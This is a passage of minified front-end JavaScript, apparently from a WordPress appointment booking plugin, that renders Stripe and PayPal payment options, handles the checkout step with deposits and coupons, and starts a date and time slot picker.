this.paymentMethods.keys)e+=this.renderFields(t);return e+='\u003Cdiv class=\"mpa-errors\">\u003C\u002Fdiv>',e+=\"\u003C\u002Fsection>\",e}renderNavigation(){let e=\"\";e+='\u003Cnav class=\"mpa-stripe-payment-methods\">',e+=\"\u003Cul>\";for(let t of this.paymentMethods.keys){let s=t===this.selectedMethod;e+='\u003Cli class=\"mpa-stripe-payment-method '+t+(s?\" active\":\"\")+'\">',e+=\"\u003Clabel>\",e+='\u003Cinput type=\"radio\" name=\"stripe_payment_method\" value=\"'+t+'\"'+(s?' checked=\"checked\"':\"\")+\">\",e+=\" \"+this.methods[t].title,e+=\"\u003C\u002Flabel>\",e+=\"\u003C\u002Fli>\"}return e+=\"\u003C\u002Ful>\",e+=\"\u003C\u002Fnav>\",e}renderFields(e){let t=\"\";switch(t+='\u003Cdiv class=\"mpa-stripe-payment-fields '+e+(e===this.selectedMethod?\"\":\" mpa-hide\")+'\">',t+=\"\u003Cfieldset>\",e){case\"payment\":t+=this.renderPaymentFields();break;case\"card\":t+=this.renderCardFields();break;case\"ideal\":t+=this.renderIdealFields();break;case\"sepa_debit\":t+=this.renderSepaDebitFields();break;default:t+=this.renderRedirectNotice()}return t+=\"\u003C\u002Ffieldset>\",\"sepa_debit\"===e&&(t+='\u003Cp class=\"notice\">',t+=h(\"By providing your IBAN and confirming this payment, you authorise (A) %s and Stripe, our payment service provider, to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with those instructions. You are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. A refund must be claimed within 8 weeks starting from the date on which your account was debited.\",\"motopress-appointment\").replace(\"%s\",C().settings().getBusinessName()),t+=\"\u003C\u002Fp>\"),t+=\"\u003C\u002Fdiv>\",t}renderPaymentFields(){let e=\"\";return e+='\u003Cdiv id=\"mpa-stripe-payment-element-'+this.uid+'\" class=\"mpa-stripe-element mpa-stripe-payment-element\">\u003C\u002Fdiv>',e}renderCardFields(){let e=\"\";return e+='\u003Clabel for=\"mpa-stripe-card-element-'+this.uid+'\">',e+=h(\"Credit or debit card\",\"motopress-appointment\"),e+=\"\u003C\u002Flabel>\",this.methods.card.isEnabledWallets()&&(e+='\u003Cdiv id=\"mpa-stripe-payment-request-button-element-'+this.uid+'\" class=\"mpa-stripe-element mpa-stripe-payment-request-button-element mpa-preloader-skeleton-pulsate StripeElement\">\u003C\u002Fdiv>',e+='\u003Cdiv class=\"mpa-stripe-payment-request-button-separator\">'+h(\"or\",\"motopress-appointment\")+\"\u003C\u002Fdiv>\"),e+='\u003Cdiv id=\"mpa-stripe-card-element-'+this.uid+'\" class=\"mpa-stripe-element mpa-stripe-card-element mpa-preloader-skeleton-pulsate\">\u003C\u002Fdiv>',e}renderIdealFields(){let e=\"\";return e+='\u003Clabel for=\"mpa-stripe-ideal-element-'+this.uid+'\">',e+=h(\"Select iDEAL Bank\",\"motopress-appointment\"),e+=\"\u003C\u002Flabel>\",e+='\u003Cdiv id=\"mpa-stripe-ideal-element-'+this.uid+'\" class=\"mpa-stripe-element mpa-stripe-ideal-element mpa-preloader-skeleton-pulsate\">\u003C\u002Fdiv>',e}renderSepaDebitFields(){let e=\"\";return e+='\u003Clabel for=\"mpa-stripe-iban-element-'+this.uid+'\">',e+=h(\"IBAN\",\"motopress-appointment\"),e+=\"\u003C\u002Flabel>\",e+='\u003Cdiv id=\"mpa-stripe-iban-element-'+this.uid+'\" class=\"mpa-stripe-element mpa-stripe-iban-element mpa-preloader-skeleton-pulsate\">\u003C\u002Fdiv>',e}renderRedirectNotice(){let e=\"\";return e+='\u003Cp class=\"notice\">',e+=h(\"You will be redirected to a secure page to complete the payment.\",\"motopress-appointment\"),e+=\"\u003C\u002Fp>\",e}showError(e){this.isMounted()&&this.$errorsWrapper.html(e).removeClass(\"mpa-hide\")}hideErrors(){this.isMounted()&&this.$errorsWrapper.addClass(\"mpa-hide\").html(\"\")}reset(){let e=this.paymentMethods.firstKey();this.selectPaymentMethod(e)}}class We extends qe{load(){return this.loadPromise=_(\"\u002Fpayments\u002Fsettings\",{gateway_id:this.gatewayId}).catch((e=>console.error(e.message)||{})).then((e=>(jQuery.extend(this.settings,e),this))),this.loadPromise}}class Ge{name=null;title=null;control=null;api=null;elements=null;constructor(e,t,s){if(this.api=e,this.settings=s,this.elements=t,new.target===Ge)throw new Error(\"Cannot construct Abstract instances directly\");if(void 0===this.setupProperties)throw new Error(\"Must override method: setupProperties()\");if(this.setupProperties(),null===this.name||void 0===this.name)throw new Error('\"name\" must be defined in a non-abstract payment method class');if(null===this.title||void 0===this.title)throw new Error('\"title\" must be defined in a non-abstract payment method class')}createControl(){return null}getControl(){return this.control||(this.control=this.createControl()),this.control}reset(){null!==this.control&&this.control.clear()}createPaymentMethodData(e,t,s){let i={type:this.name,billing_details:{name:e.padEnd(3,\" \"),email:t,phone:s}};return null!==this.control&&(i[this.name]=this.control),i}createPaymentMethod(e){return this.api.createPaymentMethod(e)}confirmPayment(e,t){throw new Error(\"Abstract Method has no implementation\")}processPayment(e,t,s){const i=e.getCustomer(),n=this.createPaymentMethodData(i.name,i.email,i.phone);return this.createPaymentMethod(n).then((t=>{if(t.error)throw new Error(t.error.message);return v(\"\u002Fpayments\u002Fprepare\",{payment_details:jQuery.extend(e.paymentDetails,{payment_method_id:t.paymentMethod.id})})})).then((({client_secret:e,return_url:t})=>this.confirmPayment(e,t).then((e=>{if(e.error)throw new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};return\"requires_action\"==e.status&&\"redirect_to_url\"==e.next_action.type&&(t.redirect_url=e.next_action.redirect_to_url.url),t})).catch((e=>{throw console.error(\"Unable to process payment.\",e.message),null!=s.error_handler&&s.error_handler(e.message),e}))}}class Ye extends Ge{setupProperties(){this.name=\"payment\",this.title=h(\"Payment methods\",\"motopress-appointment\"),this.customerDetails={name:\"\",email:\"\",phone:\"\"}}provideCart(e){this.cart=e}getCustomerDetails(){return this.cart?this.cart.getCustomer():{name:\"\",email:\"\",phone:\"\"}}confirmPayment(e,t){const s=this.getCustomerDetails(),i=this.elements;return new Promise(((e,t)=>{i.submit().then((({error:s})=>{if(s){const e=s.message||\"\";t(new Error(e))}else e()})).catch((e=>{t(e)}))})).then((()=>{var n,a,o;return this.api.confirmPayment({elements:i,clientSecret:e,confirmParams:{payment_method_data:{billing_details:{name:null!==(n=s?.name)&&void 0!==n?n:null,email:null!==(a=s?.email)&&void 0!==a?a:null,phone:null!==(o=s?.phone)&&void 0!==o?o:null,address:{line1:null,line2:null,city:null,state:null,country:null,postal_code:null}}},return_url:t},redirect:\"if_required\"})})).catch((e=>{throw console.error(\"Error during payment confirmation:\",e),e}))}processPayment(e,t,s){return v(\"\u002Fpayments\u002Fprepare\",{payment_details:e.paymentDetails}).then((({client_secret:e,return_url:t})=>this.confirmPayment(e,t).then((e=>{if(e.error)throw new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};if(\"requires_action\"===e.status){if(\"redirect_to_url\"!==e.next_action.type)throw new Error(\"The user has cancelled or failed to complete the payment.\");t.redirect_url=e.next_action.redirect_to_url.url}return t})).catch((e=>{if(e.message)throw console.error(\"Unable to process payment.\",e.message),e;throw new Error(\"Unable to process payment.\")}))}createControl(){const e=this.getCustomerDetails();return this.elements.create(\"payment\",{defaultValues:{billingDetails:{address:{country:this.settings.country}}},fields:{billingDetails:{name:e?.name?\"never\":\"auto\",email:e?.email?\"never\":\"auto\",phone:e?.phone?\"never\":\"auto\",address:{line1:\"auto\",line2:\"auto\",city:\"auto\",state:\"auto\",country:\"auto\",postalCode:\"auto\"}}}})}}class Qe extends Ge{setupProperties(){this.name=\"card\",this.title=h(\"Card\",\"motopress-appointment\"),this.paymentRequestButtonEvent=null,this.canMakePaymentRequest=Promise.resolve(null),this.isEnabledWallets()&&(this.paymentRequest=this.createPaymentRequest(),this.canMakePaymentRequest=this.paymentRequest.canMakePayment())}createPaymentRequest(){return this.paymentRequest?this.paymentRequest:this.api.paymentRequest({country:this.settings.country,currency:C().settings().getCurrency().toLowerCase(),total:{label:h(\"Total\",\"motopress-appointment\"),amount:0,pending:!0},requestPayerName:!1,requestPayerEmail:!1,requestPayerPhone:!1,requestShipping:!1,disableWallets:this.getDisabledWallets()})}isCanMakePaymentRequest(){return this.canMakePaymentRequest}getPossibleWallets(){return[\"apple_pay\",\"google_pay\",\"link\"]}isEnabledWallets(){let e=!1;return this.getPossibleWallets().forEach((t=>{this.settings.payment_methods.includes(t)&&(e=!0)})),e}getDisabledWallets(){let e=[];return this.getPossibleWallets().forEach((t=>{if(!this.settings.payment_methods.includes(t)){const s=t.toLowerCase().replace(\u002F([-_][a-z])\u002Fg,(e=>e.toUpperCase().replace(\"-\",\"\").replace(\"_\",\"\")));e.push(s)}})),e}createPaymentRequestButton(){return this.elements.create(\"paymentRequestButton\",{paymentRequest:this.paymentRequest,style:{paymentRequestButton:{height:\"50px\"}}})}processPaymentRequestButton(e){this.paymentRequestButtonEvent=e,jQuery(\".mpa-booking-step-payment .mpa-actions .mpa-button-next\").trigger(\"click\")}proccessPaymentRequestButtonHandler(e,t){const s=e.getCustomer();return this.api.createPaymentMethod({type:\"card\",card:{token:this.paymentRequestButtonEvent.token.id},billing_details:{name:s.name,email:s.email,phone:s.phone}}).then((t=>{if(t.error)throw this.paymentRequestButtonEvent.complete(\"fail\"),new Error(t.error.message);return v(\"\u002Fpayments\u002Fprepare\",{payment_details:jQuery.extend(e.paymentDetails,{payment_method_id:t.paymentMethod.id})})})).then((({client_secret:e})=>this.confirmPayment(e).then((e=>{if(e.error)throw this.paymentRequestButtonEvent.complete(\"fail\"),this.paymentRequestButtonEvent=null,new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};return this.paymentRequestButtonEvent.complete(\"success\"),this.paymentRequestButtonEvent=null,t})).catch((e=>{throw this.paymentRequestButtonEvent.complete(\"fail\"),this.paymentRequestButtonEvent=null,console.error(\"Unable to process payment.\",e.message),null!=t.error_handler&&t.error_handler(e.message),e}))}confirmPayment(e){return this.api.confirmCardPayment(e)}processPayment(e,t,s){return this.paymentRequestButtonEvent?this.proccessPaymentRequestButtonHandler(e,s):super.processPayment(e,t,s)}createControl(){return this.elements.create(this.name,{style:this.settings.style,hidePostalCode:this.settings.hide_postal_code})}}class Ke extends Ge{setupProperties(){this.name=\"sepa_debit\",this.title=h(\"SEPA Direct Debit\",\"motopress-appointment\")}confirmPayment(e,t){return this.api.confirmSepaDebitPayment(e)}createControl(){return this.elements.create(\"iban\",{style:this.settings.style,supportedCountries:[\"SEPA\"]})}}class Ze extends Ge{setupProperties(){this.name=\"bancontact\",this.title=h(\"Bancontact\",\"motopress-appointment\")}confirmPayment(e,t){return this.api.confirmBancontactPayment(e,{return_url:t},{handleActions:!1})}}class Je extends Ge{setupProperties(){this.name=\"ideal\",this.title=h(\"iDEAL\",\"motopress-appointment\")}confirmPayment(e,t){return this.api.confirmIdealPayment(e,{return_url:t},{handleActions:!1})}createControl(){return this.elements.create(\"idealBank\",{style:this.settings.style})}}class Xe extends Ge{setupProperties(){this.name=\"giropay\",this.title=h(\"Giropay\",\"motopress-appointment\")}confirmPayment(e,t){return this.api.confirmGiropayPayment(e,{return_url:t},{handleActions:!1})}}class et extends Ge{setupProperties(){this.name=\"sofort\",this.title=h(\"SOFORT\",\"motopress-appointment\")}confirmPayment(e,t){return this.api.confirmSofortPayment(e,{return_url:t},{handleActions:!1})}createPaymentMethodData(e,t,s){let i=super.createPaymentMethodData(e,t,s);return i.sofort={country:this.settings.country},i}}class tt extends We{setupProperties(){super.setupProperties(),this.$gatewayPreloader=null,this.gatewayId=\"stripe\",this.methods=null,this.view=null}constructor(e,t){super(e,t),this.$gatewayPreloader=e.parent().find(\".mpa-payment-gateway-title .mpa-preloader\")}isValidAcceptTerms(){if(!C().settings().getTermsPageIdForAcceptance())return!0;const e=this.$mountWrapper.closest(\"form\").find(\".mpa-accept-terms\")[0];return!!e.checkValidity()||(e.reportValidity(),!1)}convertToSmallestUnit(e,t){switch(t||(t=C().settings().getCurrency()),t.toUpperCase()){case\"BIF\":case\"CLP\":case\"DJF\":case\"GNF\":case\"JPY\":case\"KMF\":case\"KRW\":case\"MGA\":case\"PYG\":case\"RWF\":case\"UGX\":case\"VND\":case\"VUV\":case\"XAF\":case\"XOF\":case\"XPF\":e=Math.floor(e);break;default:e=Math.round(100*e)}return e}getFormattedTotalPrice(){const e=this.cart.getOrder();let t=parseFloat(e.total);return this.cart.paymentDetails.deposit&&(t=parseFloat(e.deposit)),this.convertToSmallestUnit(t,C().settings().getCurrency().toLowerCase())}onClickPaymentRequestButton(e){this.isValidAcceptTerms()?this.methods.card.paymentRequest.update({total:{amount:this.getFormattedTotalPrice(),label:h(\"Total\",\"motopress-appointment\"),pending:!1}}):e.preventDefault()}onChange(e){this.haveErrors=!!e.error,this.haveErrors?this.view.showError(e.error.message):this.view.hideErrors()}onCartChange(e){this.isMounted&&0\u003Cthis.getFormattedTotalPrice()&&0===Object.keys(this.methods).length&&(this.$mountWrapper.empty(),this.mount(this.$mountWrapper))}mount(e){this.ready().then((()=>{this.methods=[],0\u003Cthis.getFormattedTotalPrice()&&(this.methods=this.createPaymentMethods()),this.view=new je(this.methods),this.view.mount(e),this.addListeners()}))}processPayment(e,t){if(!this.isValid())return Promise.reject(new Error(\"The payment gateway is not valid.\"));this.$gatewayPreloader.removeClass(\"mpa-hide\");let s=this.view.selectedMethod,i=jQuery.extend({payment_method:s},this.settings,t),n={error_handler:this.view.showError.bind(this.view)};return this.methods[s].processPayment(e,i,n).then((e=>(this.$gatewayPreloader.addClass(\"mpa-hide\"),e)),(e=>{throw this.$gatewayPreloader.addClass(\"mpa-hide\"),e}))}getDefaults(){return jQuery.extend(super.getDefaults(),{hide_postal_code:!0,locale:\"auto\",payment_methods:[],public_key:\"\",style:{}})}createPaymentMethods(){let e=[];const t=Stripe(this.settings.public_key,{apiVersion:\"2023-10-16\"}),s=t.elements({mode:\"payment\",locale:this.settings.locale,currency:C().settings().getCurrency().toLowerCase(),amount:this.getFormattedTotalPrice(),payment_method_configuration:this.settings.payment_method_configuration});return this.settings.payment_methods.forEach((i=>{switch(i){case\"payment\":e.payment=new Ye(t,s,this.settings),e.payment.provideCart(this.cart);break;case\"card\":e.card=new Qe(t,s,this.settings),e.card.getControl().on(\"change\",this.onChange.bind(this)),e.card.isCanMakePaymentRequest().then((t=>{t&&(e.card.paymentRequest.on(\"token\",(async t=>e.card.processPaymentRequestButton(t))),e.card.paymentRequest.on(\"cancel\",(()=>{e.card.paymentRequestButtonEvent=null})),e.card.paymentRequestButton=e.card.createPaymentRequestButton(),e.card.paymentRequestButton.on(\"click\",this.onClickPaymentRequestButton.bind(this)))}));break;case\"sepa_debit\":e.sepa_debit=new Ke(t,s,this.settings),e.sepa_debit.getControl().on(\"change\",this.onChange.bind(this));break;case\"bancontact\":e.bancontact=new Ze(t,s,this.settings);break;case\"ideal\":e.ideal=new Je(t,s,this.settings);break;case\"giropay\":e.giropay=new Xe(t,s,this.settings);break;case\"sofort\":e.sofort=new et(t,s,this.settings)}})),e}reset(){this.methods&&Object.entries(this.methods).forEach((([e,t])=>{t.reset()})),this.view&&this.view.reset()}}class st extends We{setupProperties(){super.setupProperties(),this.gatewayId=\"paypal\"}enable(){super.enable(),this.isEnabled&&this.cart.getTotalPrice()>0&&this.$mountWrapper.closest(\"form\").find(\".mpa-button-next\").hide()}disable(){super.disable(),this.isEnabled||this.$mountWrapper.closest(\"form\").find(\".mpa-button-next\").show()}mount(e){let t=this;t.$errorWrapper=e.find(\".mpa-paypal-error\"),t.$gatewayPreloader=e.parent().find(\".mpa-payment-gateway-title .mpa-preloader\"),paypal.Buttons({onInit(e,s){if(C().settings().getTermsPageIdForAcceptance()){const e=t.$mountWrapper.closest(\"form\").find(\".mpa-accept-terms\")[0];e.checkValidity()||s.disable(),e.addEventListener(\"change\",(e=>{e.target.checked?s.enable():s.disable()}))}},onClick:function(e,s){if(C().settings().getTermsPageIdForAcceptance()){const e=t.$mountWrapper.closest(\"form\").find(\".mpa-accept-terms\")[0];e.checkValidity()||e.reportValidity()}0===t.cart.getTotalPrice()&&(t.paypalDetails={},jQuery(\".mpa-booking-step-payment .mpa-actions .mpa-button-next\").trigger(\"click\"))},createOrder:function(e,s){return t.$errorWrapper.addClass(\"mpa-hide\"),t.$gatewayPreloader.removeClass(\"mpa-hide\"),v(\"\u002Fpayments\u002Fprepare\",{payment_details:t.cart.paymentDetails}).then((e=>(t.$gatewayPreloader.addClass(\"mpa-hide\"),e)))},onApprove:function(e,s){return s.order.capture().then((function(e){t.paypalDetails=e,jQuery(\".mpa-booking-step-payment .mpa-actions .mpa-button-next\").trigger(\"click\")}))},onCancel:function(e){},onError:function(e){console.log(e),t.$errorWrapper.text(t.settings.paypal_error_message),t.$errorWrapper.removeClass(\"mpa-hide\")}}).render(e.find(\".mpa-paypal-container\")[0])}processPayment(e,t){return Promise.resolve({paypalDetails:this.paypalDetails})}}class it{static createGateways(e,t){let s={};for(let i of C().settings().getActiveGateways()){let n=e.find(\".mpa-\"+i+\"-payment-gateway .mpa-billing-fields\"),a=0!==n.length?it.createGateway(i,n,t):null;null!==a&&(s[i]=a)}return s.free=new Ue({},t),s}static createGateway(e,t,s){switch(e){case\"manual\":case\"test\":case\"cash\":case\"bank\":return new qe(t,s);case\"paypal\":return new st(t,s);case\"stripe\":return new tt(t,s);default:return wp.hooks.applyFilters(\"mpa_create_gateway\",null,e,t,s)}}}class nt extends Ee{setupProperties(){super.setupProperties(),this.lastCartHash=\"\",this.gatewayId=\"\",this.gateways={},this.bookingDetails={},this.$form=this.$element.find(\".mpa-checkout-form\"),this.$order=this.$element.find(\".mpa-order\"),this.$billingSection=this.$element.find(\".mpa-billing-details\"),this.$paymentGateways=this.$billingSection.find(\".mpa-payment-gateway\"),this.$paymentGatewayButtons=this.$paymentGateways.find('input[name=\"payment_gateway_id\"]'),this.$message=this.$element.find(\".mpa-message\").first(),this.acceptTerms=!1,this.onlinePayment=!1,this.isDepositDisabled=!1,this.$deposit=this.$element.find(\".mpa-deposit-section\"),this.$depositSwitcher=this.$element.find('input[name=\"mpa-deposit-switcher\"]'),this.$depositTable=this.$element.find(\"#mpa-deposit-table\"),C().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms=this.$element.find(\".mpa-accept-terms\")),this.couponSection=null}theId(){return\"payment\"}propertiesSchema(){return{gatewayId:{type:\"string\",default:\"\"},isDepositDisabled:{type:\"bool\",default:!1},acceptTerms:{type:\"bool\",default:!1}}}setErrorMessage(e){this.$message.html(e),this.$message.toggleClass(\"mpa-hide\",!e.trim().length)}clearErrorMessage(){this.setErrorMessage(\"\")}hideDeposit(){this.$deposit.addClass(\"mpa-hide\"),this.$depositSwitcher.prop(\"disabled\",!0),this.isDepositDisabled=!0}showDeposit(){this.$deposit.removeClass(\"mpa-hide\"),this.$depositSwitcher.prop(\"disabled\",!1),this.setProperty(\"isDepositDisabled\",this.$depositSwitcher.prop(\"checked\"))}toggleDepositSection(){const e=this.cart.getOrder();parseFloat(e.total)-parseFloat(e.deposit)&&this.onlinePayment?this.showDeposit():this.hideDeposit()}setGatewayId(e,t){this.setProperty(\"gatewayId\",e),this.onlinePayment=parseInt(t),this.toggleDepositSection(),this.cart.setPaymentDetails({gateway_id:this.gatewayId,deposit:!this.isDepositDisabled})}addListeners(){super.addListeners(),this.$form.on(\"submit\",(e=>!1)),this.$paymentGatewayButtons.on(\"change\",(e=>{this.setGatewayId(e.target.value,e.target.dataset.isOnlinePayment)})),C().settings().getTermsPageIdForAcceptance()&&this.$acceptTerms.on(\"input\",(e=>this.setProperty(\"acceptTerms\",e.target.checked))),this.$depositSwitcher.length>0&&this.$depositSwitcher.on(\"input\",(e=>{this.$depositTable.toggleClass(\"mpa-hide\",e.target.checked),this.setProperty(\"isDepositDisabled\",e.target.checked),this.cart.setPaymentDetails({deposit:!this.isDepositDisabled})})),this.$element.on(\"mpa_booking_step_disable\",this.disable.bind(this)),this.$element.on(\"mpa_booking_step_enable\",this.enable.bind(this)),this.$element.on(\"mpa_booking_coupon_applied\",(()=>{this.notifyCartChanged(),this.updateOrderDetails(),this.cart.setPaymentDetails({coupon_code:this.cart.hasCoupon()?this.cart.coupon.getCode():\"\"})}))}loadEntities(){this.isLoaded||this.$element.removeClass(\"mpa-hide\"),this.lastCartHash=this.cart.getHash(\"order\"),C().settings().isCouponsEnabled()&&(this.couponSection=new He(this.$element.find(\".mpa-coupon-details\"),this.cart)),this.updateOrderDetails();let e=[];return\"free\"!==this.gatewayId?e.push(this.loadGateways()):this.loadGateways(),e.push(this.loadDrafts()),Promise.all(e).then((()=>(this.initDefaultGateway(),this)))}reload(){return this.clearErrorMessage(),this.cart.hasCoupon()&&this.cart.testCoupon(),this.couponSection&&(this.cart.hasCoupon()?this.couponSection.clearMessage():this.couponSection.reset()),this.updateOrderDetails(),this.cart.didChange(this.lastCartHash,\"order\")?(this.lastCartHash=this.cart.getHash(\"order\"),this.notifyCartChanged(),this.loadDrafts()):wp.hooks.applyFilters(\"mpa_booking_reload_drafts\",!1)?this.loadDrafts():Promise.resolve(this)}reset(){C().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms.prop(\"checked\",!1),this.resetProperty(\"acceptTerms\")),this.lastCartHash=\"\";let e=C().settings().getDefaultPaymentGateway();this.$paymentGatewayButtons.filter(\":checked\").prop(\"checked\",!1),e in this.gateways?(this.setProperty(\"gatewayId\",e),this.$paymentGatewayButtons.filter('[value=\"'+e+'\"]').prop(\"checked\",!0)):this.resetProperty(\"gatewayId\");for(let e in this.gateways)this.gateways[e].reset();this.couponSection&&this.couponSection.reset()}notifyCartChanged(){for(let e in this.gateways)this.gateways[e].onCartChange(this.cart)}updateOrderDetails(){if(this.$order.empty(),this.$order.html(xe(this.cart.getOrder())),this.$depositTable.length>0){const e=function(e){const t=parseFloat(e.total)-parseFloat(e.deposit);let s=\"\";return t>0&&(s+='\u003Ctable class=\"widefat\">',s+=\"\u003Ctbody>\",s+='\u003Ctr class=\"mpa-deposit-title\">',s+='\u003Ctd class=\"column-title\" colspan=\"2\">',s+=h(\"Deposit\",\"motopress-appointment\"),s+=\"\u003C\u002Ftd>\",s+=\"\u003C\u002Ftr>\",s+='\u003Ctr class=\"mpa-deposit-now\">',s+='\u003Cth class=\"column-title\">',s+=h(\"Paying now\",\"motopress-appointment\"),s+=\"\u003C\u002Fth>\",s+='\u003Cth class=\"column-price\">',s+=Ae(e.deposit),s+=\"\u003C\u002Fth>\",s+=\"\u003C\u002Ftr>\",s+='\u003Ctr class=\"mpa-deposit-left\">',s+='\u003Cth class=\"column-title\">',s+=h(\"Left to pay\",\"motopress-appointment\"),s+=\"\u003C\u002Fth>\",s+='\u003Cth class=\"column-price\">',s+=Ae(t),s+=\"\u003C\u002Fth>\",s+=\"\u003C\u002Ftr>\",s+=\"\u003C\u002Ftbody>\",s+=\"\u003C\u002Ftable>\"),s}(this.cart.getOrder());this.$depositTable.html(e),this.$paymentGatewayButtons.filter(\":checked\").length>0&&this.toggleDepositSection()}let e=this.$order.find(\".mpa-remove-coupon\");e.length>0&&e.on(\"click\",this.removeCoupon.bind(this)),this.toggleAvailablePaymentMethods()}removeCoupon(e){e.preventDefault(),e.stopPropagation(),this.cart.removeCoupon(),this.couponSection.clearMessage(),this.cart.setPaymentDetails({coupon_code:\"\"}),this.notifyCartChanged(),this.updateOrderDetails(),this.couponSection.reset()}toggleAvailablePaymentMethods(){const e=0===this.cart.getTotalPrice();if(e)this.setGatewayId(\"free\",!1);else{const e=this.$paymentGatewayButtons.filter(\":checked\");e.length>0&&this.setGatewayId(e[0].value,e[0].dataset.isOnlinePayment)}this.$billingSection.toggleClass(\"mpa-hide\",e),this.$paymentGatewayButtons.prop(\"required\",!e)}loadGateways(){let e=this.$billingSection.find(\".mpa-payment-gateways\");this.gateways=it.createGateways(e,this.cart);let t=[];for(let e in this.gateways)t.push(this.gateways[e].load());return t}loadDrafts(){const e={...this.cart.toArray(),payment:!0};return v(\"\u002Fbookings\u002Fdraft\",{...wp.hooks.applyFilters(\"mpa_booking_draft_data\",e),nonce:mpaData.nonces.mpa_create_drafts}).then((e=>{this.bookingDetails={booking_id:e.booking_id,payment_id:e.payment_id};const t={booking_id:e.booking_id,payment_id:e.payment_id};this.cart.setPaymentDetails(t),this.cart.setBookingNonce(e.booking_nonce)}),(e=>{this.setErrorMessage(e.message)})).then((()=>(this.enableGateways(),this)))}enableGateways(){this.$paymentGatewayButtons.prop(\"disabled\",!1)}initDefaultGateway(){let e=this.$paymentGatewayButtons.filter(\":checked\");e.length>0&&this.gateways[e.val()].enable()}isValidInput(){return this.isValidGatewayId()&&this.isValidGateway()&&this.isValidAcceptTerms()}isValidGatewayId(){return\"\"!==this.gatewayId}isValidGateway(){return!(this.gatewayId in this.gateways)||this.gateways[this.gatewayId].isValid()}isValidAcceptTerms(){return!C().settings().getTermsPageIdForAcceptance()||this.acceptTerms}afterUpdate(e,t,s){s in this.gateways&&this.gateways[s].disable(),t in this.gateways&&this.gateways[t].enable()}react(){super.react(),this.$buttonNext.prop(\"disabled\",!1)}maybeSubmit(){if(this.couponSection&&this.couponSection.disable(),this.gatewayId in this.gateways){let e=this.gateways[this.gatewayId].processPayment(this.cart,this.bookingDetails);return\"object\"==typeof e&&\"function\"==typeof e.then&&e.then((e=>(this.cart.setPaymentDetails(e),e)),(e=>{this.setErrorMessage(e.message)})),e}}cancelSubmission(){super.cancelSubmission(),this.couponSection&&this.couponSection.enable()}}class at extends Ee{setupProperties(){super.setupProperties(),this.cartItem=null,this.lastHash=\"\",this.monthSlots={},this.date=\"\",this.time=\"\",this.datepicker=null,this.$dateWrapper=this.$element.find(\".mpa-date-wrapper\"),this.$dateInput=this.$element.find(\".mpa-date\"),this.$timeWrapper=this.$element.find(\".mpa-time-wrapper\"),this.$times=this.$timeWrapper.find(\".mpa-times\"),this.lookedAheadMonths=0,this.maxLookAheadMonths=12,this.isSelectedFirstAvailableSlot=!1,this.availabilityService=null}setAvailabilityService(e){this.availabilityService=e}theId(){return\"period\"}getCartContext(){return\"cart item\"}propertiesSchema(){return{date:{type:\"string\",default:\"\"},time:{type:\"string\",default:\"\"}}}addListeners(){super.addListeners(),this.$dateInput.on(\"change\",(e=>this.setProperty(\"date\",e.target.value)))}loadEntities(){return this.cartItem=this.cart.getActiveItem(),this.lastHash=this.cartItem.getHash(\"availability\"),Promise.resolve(this)}reload(){return this.cartItem.didChange(this.lastHash,\"availability\")?(this.$element.removeClass(\"mpa-loaded\"),this.resetDate(),this.readyPromise=this.loadEntities(),this.monthSlots={},null!=this.datepicker&&(this.setEnabledDays([]),this.readyPromise.finally((()=>this.resetEnabledDays()))),this.readyPromise):Promise.resolve(this)}reset(){this.cartItem=this.cart.getActiveItem(),this.lastHash=\"\",this.monthSlots={},this.resetDate()}isValidInput(){return\"\"!=this.date&&\"\"!=this.time}resetDate(){this.resetProperty(\"date\")}resetTime(){this.$times.empty(),this.resetProperty(\"time\")}setEnabledDays(e){Q(e,!0)?this.datepicker.set(\"enable\",[\"2000-01-01\"]):this.datepicker.set(\"enable\",e)}afterUpdate(e,t,s){\"date\"==e&&(\"\"==t?this.resetTime():this.resetTimeSlots())}react(){super.react(),this.$timeWrapper.toggleClass(\"mpa-hide\",\"\"==this.date)}showReady(){super.showReady(),null==this.datepicker&&(this.showDatepicker(),this.resetEnabledDays())}showDatepicker(){this.datepicker=function(e,t){let s=t.locale||C().settings().getFlatpickrLocale(),i=flatpickr.l10ns[s]||s;\"object\"==typeof i&&(i.firstDayOfWeek=C().settings().getFirstDayOfWeek());let n={formatDate:E,inline:!0,locale:i,monthSelectorType:\"static\",showMonths:1};t=jQuery.extend({},n,t);let a=null;return a=e instanceof jQuery?flatpickr(e[0],t):flatpickr(e,t),a}(this.$dateInput,this.getDatepickerArgs())}getDatepickerArgs(){return{minDate:C().settings().getBusinessDate(),onMonthChange:()=>this.resetEnabledDays()}}maybeSubmit(){let e=this.cartItem;if(e.date=k(this.date),e.time=new B(this.time),e.date&&e.time&&e.time.setDate(e.date),null===e.employee||null===e.location){let t=this.autoselectIds(),s=t[0],i=t[1];null===e.employee&&e.setEmployee(s,!1),null===e.location&&e.setLocation(i,!1)}let t=this.getCurrentMonthKey();this.cartItem.setBookingVariants(this.monthSlots[t][this.date][this.time]),document.dispatchEvent(new CustomEvent(\"mpa_add_to_cart\",{detail:{cartItem:e,currencyCode:C().settings().getCurrency()}})),document.dispatchEvent(new CustomEvent(\"mpa_view_cart\",{detail:{cart:this.cart,currencyCode:C().settings().getCurrency()}}))}selectFirstDateTimeSlot(){let e=this.datepicker.currentYear,t=this.datepicker.currentMonth,s=this.getMonthKey(e,t);const i=this.monthSlots[s];if(i&&Object.keys(i).length>0){const e=Object.keys(i)[0],t=Object.keys(i[e])[0];this.datepicker.setDate(e,!0);this.$times.children(\".mpa-time-period\").filter(((e,s)=>s.getAttribute(\"date-time\")===t)).trigger(\"click\"),this.isSelectedFirstAvailableSlot=!0}else{if(!0===this.isSelectedFirstAvailableSlot)return;if(this.lookedAheadMonths>=this.maxLookAheadMonths)return this.datepicker.changeMonth(-this.lookedAheadMonths),void(this.isSelectedFirstAvailableSlot=!0);this.lookedAheadMonths+=1,this.datepicker.changeMonth(1),this.reload()}}autoselectIds(){let e=[0,0],t=this.getCurrentMonthKey();if(this.monthSlots[t]&&this.monthSlots[t][this.date]){let s=this.monthSlots[t][this.date];for(let t in s)if(t===this.time){let 